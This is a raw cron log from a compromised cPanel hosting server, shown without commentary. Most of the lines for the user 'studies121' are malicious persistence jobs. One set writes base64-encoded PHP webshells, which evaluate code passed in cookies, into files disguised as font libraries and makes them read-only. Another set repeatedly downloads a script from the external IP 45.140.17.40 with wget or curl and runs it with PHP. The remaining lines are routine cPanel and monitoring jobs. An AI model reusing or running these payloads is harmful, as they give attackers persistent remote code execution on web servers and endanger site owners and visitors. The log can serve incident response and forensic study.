Sep  7 12:03:01 ip-184-168-122-23 CROND[22175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:03:01 ip-184-168-122-23 CROND[22174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:03:01 ip-184-168-122-23 CROND[22176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:03:01 ip-184-168-122-23 CROND[22173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:04:01 ip-184-168-122-23 CROND[22277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:04:01 ip-184-168-122-23 CROND[22279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:04:01 ip-184-168-122-23 CROND[22280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:04:01 ip-184-168-122-23 CROND[22281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:04:01 ip-184-168-122-23 CROND[22282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:05:01 ip-184-168-122-23 CROND[22386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:05:01 ip-184-168-122-23 CROND[22388]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:05:01 ip-184-168-122-23 CROND[22390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:05:01 ip-184-168-122-23 CROND[22387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:05:01 ip-184-168-122-23 CROND[22392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:05:01 ip-184-168-122-23 CROND[22389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:05:01 ip-184-168-122-23 CROND[22393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:06:01 ip-184-168-122-23 CROND[22494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:06:01 ip-184-168-122-23 CROND[22496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:06:01 ip-184-168-122-23 CROND[22495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:06:01 ip-184-168-122-23 CROND[22498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:06:01 ip-184-168-122-23 CROND[22497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:07:01 ip-184-168-122-23 CROND[22695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:07:01 ip-184-168-122-23 CROND[22697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:07:01 ip-184-168-122-23 CROND[22698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:07:01 ip-184-168-122-23 CROND[22700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:08:02 ip-184-168-122-23 CROND[22829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:08:02 ip-184-168-122-23 CROND[22827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:08:02 ip-184-168-122-23 CROND[22830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:08:02 ip-184-168-122-23 CROND[22828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:08:02 ip-184-168-122-23 CROND[22831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:09:01 ip-184-168-122-23 CROND[22926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:09:01 ip-184-168-122-23 CROND[22927]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 12:09:01 ip-184-168-122-23 CROND[22928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:09:01 ip-184-168-122-23 CROND[22929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:09:01 ip-184-168-122-23 CROND[22930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:10:01 ip-184-168-122-23 CROND[23191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:10:01 ip-184-168-122-23 CROND[23193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:10:01 ip-184-168-122-23 CROND[23192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:10:01 ip-184-168-122-23 CROND[23194]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:10:01 ip-184-168-122-23 CROND[23195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:10:01 ip-184-168-122-23 CROND[23196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:10:01 ip-184-168-122-23 CROND[23198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:10:01 ip-184-168-122-23 CROND[23197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:11:01 ip-184-168-122-23 CROND[23644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:11:01 ip-184-168-122-23 CROND[23643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:11:01 ip-184-168-122-23 CROND[23646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:11:01 ip-184-168-122-23 CROND[23645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:12:01 ip-184-168-122-23 CROND[23870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:12:01 ip-184-168-122-23 CROND[23872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:12:01 ip-184-168-122-23 CROND[23873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:12:01 ip-184-168-122-23 CROND[23874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:12:01 ip-184-168-122-23 CROND[23875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:13:01 ip-184-168-122-23 CROND[24182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:13:01 ip-184-168-122-23 CROND[24184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:13:01 ip-184-168-122-23 CROND[24183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:13:01 ip-184-168-122-23 CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:14:01 ip-184-168-122-23 CROND[24472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:14:01 ip-184-168-122-23 CROND[24475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:14:01 ip-184-168-122-23 CROND[24474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:14:01 ip-184-168-122-23 CROND[24476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:14:01 ip-184-168-122-23 CROND[24478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:15:02 ip-184-168-122-23 CROND[24947]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:15:02 ip-184-168-122-23 CROND[24948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
